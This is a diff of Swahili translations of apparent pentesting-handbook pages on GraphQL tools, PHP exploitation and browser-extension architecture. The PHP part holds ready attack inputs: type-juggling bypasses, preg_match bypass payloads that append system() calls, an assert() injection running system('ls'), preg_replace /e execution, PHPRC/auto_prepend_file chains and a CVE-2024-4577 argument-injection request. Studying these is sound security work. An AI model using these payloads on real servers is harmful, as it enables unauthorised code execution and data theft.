- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension kwa ajili ya majaribio ya juu ya GraphQL. _**Scanner**_ ni msingi wa InQL v5.0, ambapo unaweza kuchambua endpoint ya GraphQL au faili ya schema ya ndani ya eneo. Inajenga kiotomatiki maswali na mabadiliko yote yanayowezekana, ikiyapanga katika mtazamo ulio na muundo kwa ajili ya uchambuzi wako. Kipengele cha _**Attacker**_ kinakuwezesha kuendesha mashambulizi ya kundi ya GraphQL, ambayo yanaweza kuwa ya manufaa kwa kukwepa mipaka ya kiwango iliyotekelezwa vibaya.
 | 
			
		||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Jaribu kupata schema hata ikiwa uchambuzi umezimwa kwa kutumia msaada wa baadhi ya hifadhidata za Graphql ambazo zitapendekeza majina ya mabadiliko na vigezo.
 | 
			
		||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension kwa ajili ya majaribio ya juu ya GraphQL. _**Scanner**_ ni msingi wa InQL v5.0, ambapo unaweza kuchambua mwisho wa GraphQL au faili ya schema ya ndani ya eneo. Inajenga kiotomatiki maswali na mabadiliko yote yanayowezekana, ikiyapanga katika mtazamo ulio na muundo kwa ajili ya uchambuzi wako. Kipengele cha _**Attacker**_ kinakuruhusu kuendesha mashambulizi ya kundi la GraphQL, ambayo yanaweza kuwa ya manufaa kwa kukwepa mipaka ya kiwango iliyotekelezwa vibaya.
 | 
			
		||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Jaribu kupata schema hata ikiwa uchunguzi umezimwa kwa kutumia msaada wa baadhi ya hifadhidata za Graphql ambazo zitapendekeza majina ya mabadiliko na vigezo.
 | 
			
		||||
 | 
			
		||||
### Clients
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -21,7 +21,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 | 
			
		||||
```
 | 
			
		||||
## Kupita Mifano ya PHP
 | 
			
		||||
 | 
			
		||||
### Mifano ya Kijumla/Mabadiliko ya Aina ( == )
 | 
			
		||||
### Mifano ya Kijumla/Kucheza na Aina ( == )
 | 
			
		||||
 | 
			
		||||
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo mifano haiwezi kutenda kama inavyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina sawa, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
 | 
			
		||||
 | 
			
		||||
@ -31,18 +31,18 @@ Mifano ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.
 | 
			
		||||
 | 
			
		||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
 | 
			
		||||
 | 
			
		||||
- `"string" == 0 -> True` Mfuatano ambao hauanzishi na nambari ni sawa na nambari
 | 
			
		||||
- `"0xAAAA" == "43690" -> True` Mfuatano ulio na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mfuatano mwingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mfuatano zinatafsiriwa kama nambari)
 | 
			
		||||
- `"0e3264578" == 0 --> True` Mfuatano unaoanza na "0e" na kufuatiwa na chochote kitakuwa sawa na 0
 | 
			
		||||
- `"0X3264578" == 0X --> True` Mfuatano unaoanza na "0" na kufuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatiwa na chochote kitakuwa sawa na 0
 | 
			
		||||
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mfuatano wa "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mfuatano ambao tayari umehesabiwa** kwa muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 | 
			
		||||
- `"X" == 0 --> True` Herufi yoyote katika mfuatano ni sawa na int 0
 | 
			
		||||
- `"string" == 0 -> True` Mstari ambao hauanzishi na nambari ni sawa na nambari
 | 
			
		||||
- `"0xAAAA" == "43690" -> True` Mifano iliyo na nambari katika muundo wa dec au hex inaweza kulinganishwa na nambari/mifano nyingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mstari zinatafsiriwa kama nambari)
 | 
			
		||||
- `"0e3264578" == 0 --> True` Mstari unaoanza na "0e" na kufuatwa na chochote utakuwa sawa na 0
 | 
			
		||||
- `"0X3264578" == 0X --> True` Mstari unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote utakuwa sawa na 0
 | 
			
		||||
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mstari la "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mifano iliyohesabiwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 | 
			
		||||
- `"X" == 0 --> True` Herufi yoyote katika mstari ni sawa na int 0
 | 
			
		||||
 | 
			
		||||
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
 | 
			
		||||
 | 
			
		||||
### **in_array()**
 | 
			
		||||
 | 
			
		||||
**Mabadiliko ya Aina** pia yanahusisha kazi ya `in_array()` kwa kawaida (unahitaji kuweka argument ya tatu kuwa kweli ili kufanya kulinganisha kwa ukali):
 | 
			
		||||
**Kucheza na Aina** pia inaathiri kazi ya `in_array()` kwa kawaida (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali):
 | 
			
		||||
```php
 | 
			
		||||
$values = array("apple","orange","pear","grape");
 | 
			
		||||
var_dump(in_array(0, $values));
 | 
			
		||||
@ -61,9 +61,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
 | 
			
		||||
```
 | 
			
		||||
Kosa hiyo hiyo inatokea na `strcasecmp()`
 | 
			
		||||
 | 
			
		||||
### Uchezaji Mkali wa Aina
 | 
			
		||||
### Ujanja wa Aina Mkali
 | 
			
		||||
 | 
			
		||||
Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **uchezaji wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
 | 
			
		||||
Hata kama `===` inatumika kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **ujanja wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
 | 
			
		||||
```php
 | 
			
		||||
(int) "1abc" === (int) "1xyz" //This will be true
 | 
			
		||||
```
 | 
			
		||||
@ -73,7 +73,7 @@ Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganis
 | 
			
		||||
 | 
			
		||||
#### New line bypass
 | 
			
		||||
 | 
			
		||||
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp`preg_match()` **inaangalia tu mstari wa kwanza wa pembejeo za mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** pembejeo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita kipimo hiki. Mfano:
 | 
			
		||||
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp`preg_match()` **inaangalia tu mstari wa kwanza wa pembejeo za mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** pembejeo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
 | 
			
		||||
```php
 | 
			
		||||
$myinput="aaaaaaa
 | 
			
		||||
11111111"; //Notice the new line
 | 
			
		||||
@ -86,7 +86,7 @@ echo preg_match("/^.*1/",$myinput);
 | 
			
		||||
echo preg_match("/^.*1.*$/",$myinput);
 | 
			
		||||
//0  --> In this scenario preg_match DOESN'T find the char "1"
 | 
			
		||||
```
 | 
			
		||||
Ili kupita ukaguzi huu unaweza **kutuma thamani yenye mistari mipya iliyowekwa urlencoded** (`%0A`) au ikiwa unaweza kutuma **data za JSON**, zitume katika **mistari kadhaa**:
 | 
			
		||||
Ili kupita ukaguzi huu unaweza **kutuma thamani yenye mistari mipya iliyopangwa kwa url** (`%0A`) au ikiwa unaweza kutuma **data za JSON**, zitume katika **mistari kadhaa**:
 | 
			
		||||
```php
 | 
			
		||||
{
 | 
			
		||||
"cmd": "cat /etc/passwd"
 | 
			
		||||
@ -97,7 +97,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
 | 
			
		||||
#### **Length error bypass**
 | 
			
		||||
 | 
			
		||||
(Hii bypass ilijaribiwa waziwazi kwenye PHP 5.2.5 na sikuweza kuifanya ifanye kazi kwenye PHP 7.3.15)\
 | 
			
		||||
Ikiwa unaweza kutuma kwa `preg_match()` ingizo halali kubwa sana, **haitaweza kulipitia** na utaweza **kuepuka** ukaguzi. Kwa mfano, ikiwa inakataza JSON unaweza kutuma:
 | 
			
		||||
Ikiwa unaweza kutuma kwa `preg_match()` ingizo halali kubwa sana, **haitaweza kulipokea** na utaweza **kuepuka** ukaguzi. Kwa mfano, ikiwa inakataza JSON unaweza kutuma:
 | 
			
		||||
```bash
 | 
			
		||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
 | 
			
		||||
```
 | 
			
		||||
@ -109,17 +109,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP inategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo cha idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kinarudi kwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa kwenye stack.
 | 
			
		||||
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP zinategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo kwenye idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa kwenye stack.
 | 
			
		||||
 | 
			
		||||
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
 | 
			
		||||
**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irudishe `false` hivyo kufanya programu ifikirie kuwa input yetu si mbaya, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
 | 
			
		||||
[Hii Stackoverflow thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
 | 
			
		||||
**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irejelee `false` hivyo kufanya programu ifikirie kuwa input yetu si ya uhalifu, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
 | 
			
		||||
 | 
			
		||||
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\ 
 | 
			
		||||
Vizuri, katika maneno ya regex, hatufanyi 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [PHP documentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) inavyosema, inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\ 
 | 
			
		||||
Ili kufikia hiyo, `'X'*500_001` itasababisha hatua milioni moja za backtracking (500k mbele na 500k nyuma):
 | 
			
		||||
```python
 | 
			
		||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
 | 
			
		||||
```
 | 
			
		||||
### Aina ya Kucheza kwa PHP kuficha
 | 
			
		||||
### Aina ya Juggling kwa obfuscation ya PHP
 | 
			
		||||
```php
 | 
			
		||||
$obfs = "1"; //string "1"
 | 
			
		||||
$obfs++; //int 2
 | 
			
		||||
@ -132,7 +132,7 @@ $obfs += ""; //int 7
 | 
			
		||||
```
 | 
			
		||||
## Execute After Redirect (EAR)
 | 
			
		||||
 | 
			
		||||
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayofanywa **baada ya kichwa `Location`** kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
 | 
			
		||||
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayopigwa **baada ya kichwa `Location`** kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
// In this page the page will be read and the content appended to the body of
 | 
			
		||||
@ -156,12 +156,12 @@ Check:
 | 
			
		||||
- **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
 | 
			
		||||
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nayo katika path2).
 | 
			
		||||
- Unapokuwa na **majina ya watumiaji** wa mashine. Angalia anwani: **/\~\<USERNAME>** ili kuona ikiwa saraka za php zimewezeshwa.
 | 
			
		||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
 | 
			
		||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
 | 
			
		||||
 | 
			
		||||
### password_hash/password_verify
 | 
			
		||||
 | 
			
		||||
Hizi kazi kawaida hutumika katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
 | 
			
		||||
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa zaidi ya 72bytes kwa kutumia algorithimu hii, ni kwamba 72B za kwanza tu zitatumika:
 | 
			
		||||
Hizi kazi kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
 | 
			
		||||
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba 72B za kwanza tu zitatumika:
 | 
			
		||||
```php
 | 
			
		||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
 | 
			
		||||
False
 | 
			
		||||
@ -184,7 +184,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 | 
			
		||||
#### Kujaza mwili kabla ya kuweka vichwa
 | 
			
		||||
 | 
			
		||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu ya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu seva itatupa makosa.\
 | 
			
		||||
Katika hali ifuatayo **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
 | 
			
		||||
Katika hali ifuatayo **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (kwa hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -202,14 +202,14 @@ php-ssrf.md
 | 
			
		||||
&#xNAN;**\`ls\`;**\
 | 
			
		||||
**shell_exec("ls");**
 | 
			
		||||
 | 
			
		||||
[Angalia hii kwa kazi za PHP zenye manufaa zaidi](php-useful-functions-disable_functions-open_basedir-bypass/)
 | 
			
		||||
[Angalia hii kwa kazi za PHP zenye manufaa zaidi](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 | 
			
		||||
 | 
			
		||||
### **RCE kupitia** **preg_replace()**
 | 
			
		||||
```php
 | 
			
		||||
preg_replace(pattern,replace,base)
 | 
			
		||||
preg_replace("/a/e","phpinfo()","whatever")
 | 
			
		||||
```
 | 
			
		||||
Ili kutekeleza msimbo katika "replace" inahitajika angalau mechi moja.\
 | 
			
		||||
Ili kutekeleza msimbo katika hoja ya "replace" inahitajika angalau mechi moja.\
 | 
			
		||||
Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.**
 | 
			
		||||
 | 
			
		||||
### **RCE kupitia Eval()**
 | 
			
		||||
@ -222,7 +222,7 @@ Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.**
 | 
			
		||||
```
 | 
			
		||||
### **RCE kupitia Assert()**
 | 
			
		||||
 | 
			
		||||
Hii kazi ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuatano** ili **kurudisha kweli au uongo** (na kulingana na hii kubadilisha utekelezaji). Kawaida, kigezo cha mtumiaji kitaingizwa katikati ya mfuatano. Kwa mfano:\
 | 
			
		||||
Kazi hii ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuatano** ili **kurudisha kweli au uongo** (na kulingana na hii kubadilisha utekelezaji). Kawaida, kigezo cha mtumiaji kitaingizwa katikati ya mfuatano. Kwa mfano:\
 | 
			
		||||
`assert("strpos($_GET['page']),'..') === false")` --> Katika kesi hii ili kupata **RCE** unaweza kufanya:
 | 
			
		||||
```
 | 
			
		||||
?page=a','NeVeR') === false and system('ls') and strpos('a
 | 
			
		||||
@ -266,7 +266,7 @@ Ili kugundua idadi ya mabano unayohitaji kufunga:
 | 
			
		||||
 | 
			
		||||
### **RCE kupitia .httaccess**
 | 
			
		||||
 | 
			
		||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuweka** mambo kadhaa na hata kutekeleza msimbo (kuweka kwamba faili zenye kiendelezi .htaccess zinaweza **kutekelezwa**).
 | 
			
		||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuweka** mambo kadhaa na hata kutekeleza msimbo (kuweka kwamba faili zenye kiambishi .htaccess zinaweza **kutekelezwa**).
 | 
			
		||||
 | 
			
		||||
Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
 | 
			
		||||
 | 
			
		||||
@ -274,11 +274,11 @@ Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wiregho
 | 
			
		||||
 | 
			
		||||
Ikiwa unapata udhaifu unaokuruhusu **kubadilisha env variables katika PHP** (na nyingine moja ya kupakia faili, ingawa kwa utafiti zaidi huenda hii ikapita), unaweza kutumia tabia hii kupata **RCE**.
 | 
			
		||||
 | 
			
		||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
 | 
			
		||||
- **`PHPRC`** : Inamuru PHP **wapi kupatikana faili yake ya usanidi**, ambayo kwa kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingiza ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina msimbo wa kawaida wa **PHP, ambao kisha unatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
 | 
			
		||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba za kiholela unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
 | 
			
		||||
- **`PHPRC`** : Inamuru PHP **wapi kupatikana faili yake ya usanidi**, ambayo kwa kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingia ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina msimbo wa kawaida wa **PHP, ambao kisha unatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
 | 
			
		||||
1. Pakia faili ya PHP yenye shellcode yetu
 | 
			
		||||
2. Pakia faili ya pili, yenye **`auto_prepend_file`** ikielekeza preprocessor ya PHP kutekeleza faili tuliyopakia katika hatua ya 1
 | 
			
		||||
3. Weka variable ya `PHPRC` kwa faili tuliyopakia katika hatua ya 2.
 | 
			
		||||
2. Pakia faili ya pili, yenye **`auto_prepend_file`** kuagiza preprocessor ya PHP kutekeleza faili tuliyopakia katika hatua ya 1
 | 
			
		||||
3. Weka variable `PHPRC` kwa faili tuliyopakia katika hatua ya 2.
 | 
			
		||||
- Pata maelezo zaidi juu ya jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
 | 
			
		||||
- **PHPRC** - chaguo jingine
 | 
			
		||||
- Ikiwa **huwezi kupakia faili**, unaweza kutumia katika FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
 | 
			
		||||
@ -293,7 +293,7 @@ Webserver inachambua maombi ya HTTP na kuyapeleka kwa script ya PHP inayotekelez
 | 
			
		||||
```jsx
 | 
			
		||||
-d allow_url_include=1 -d auto_prepend_file=php://input
 | 
			
		||||
```
 | 
			
		||||
Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa baadaye wa PHP. Angalia mfano wa exploit kutoka [**hiki chapisho**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
 | 
			
		||||
Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa PHP baadaye. Angalia mfano wa exploit kutoka [**hiki chapisho**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
 | 
			
		||||
```jsx
 | 
			
		||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
 | 
			
		||||
Host: {{host}}
 | 
			
		||||
@ -323,7 +323,7 @@ exec, shell_exec, system, passthru, eval, popen
 | 
			
		||||
unserialize, include, file_put_cotents
 | 
			
		||||
$_COOKIE | if #This mea
 | 
			
		||||
```
 | 
			
		||||
Ikiwa unarekebisha programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa ujumla katika`/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2`
 | 
			
		||||
Ikiwa unarekebisha programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa kiwango cha juu katika`/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2`
 | 
			
		||||
 | 
			
		||||
### Kuondoa ufichaji wa msimbo wa PHP
 | 
			
		||||
 | 
			
		||||
@ -357,7 +357,7 @@ Ikiwa katika ukurasa unaweza **kuunda kitu kipya cha darasa lolote** unaweza kuw
 | 
			
		||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Teua PHP bila herufi
 | 
			
		||||
## Tekeleza PHP bila herufi
 | 
			
		||||
 | 
			
		||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,38 +4,38 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine.
 | 
			
		||||
Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA).
 | 
			
		||||
 | 
			
		||||
## Main Components
 | 
			
		||||
 | 
			
		||||
Extension layouts look best when visualised and consists of three components. Hebu tuangalie kila kipengele kwa undani.
 | 
			
		||||
Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth.
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
### **Content Scripts**
 | 
			
		||||
 | 
			
		||||
Each content script has direct access to the DOM of a **single web page** and is thereby exposed to **potentially malicious input**. Hata hivyo, content script haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa msingi wa extension.
 | 
			
		||||
Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na uharibifu**. Hata hivyo, script ya maudhui haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa msingi wa nyongeza.
 | 
			
		||||
 | 
			
		||||
### **Extension Core**
 | 
			
		||||
 | 
			
		||||
The extension core contains most of the extension privileges/access, but the extension core can only interact with web content via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) and content scripts. Pia, msingi wa extension hauna ufikiaji wa moja kwa moja kwa mashine mwenyeji.
 | 
			
		||||
Msingi wa nyongeza una ruhusa nyingi za nyongeza, lakini msingi wa nyongeza unaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, msingi wa nyongeza haina ufikiaji wa moja kwa moja kwa mashine mwenyeji.
 | 
			
		||||
 | 
			
		||||
### **Native Binary**
 | 
			
		||||
 | 
			
		||||
The extension allows a native binary that can **access the host machine with the user’s full privileges.** Native binary inawasiliana na msingi wa extension kupitia Interface ya Programu ya Plugin ya Netscape ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari.
 | 
			
		||||
Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa ruhusa kamili ya mtumiaji.** Binary asilia inaingiliana na msingi wa nyongeza kupitia Kiolesura cha Programu ya Plugin ya Netscape ya kawaida ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari.
 | 
			
		||||
 | 
			
		||||
### Boundaries
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Ili kupata ruhusa kamili za mtumiaji, mshambuliaji lazima amshawishi extension kupitisha pembejeo mbaya kutoka kwa content script hadi msingi wa extension na kutoka kwa msingi wa extension hadi native binary.
 | 
			
		||||
> Ili kupata ruhusa kamili ya mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la uharibifu kutoka kwa script ya maudhui hadi msingi wa nyongeza na kutoka kwa msingi wa nyongeza hadi binary asilia.
 | 
			
		||||
 | 
			
		||||
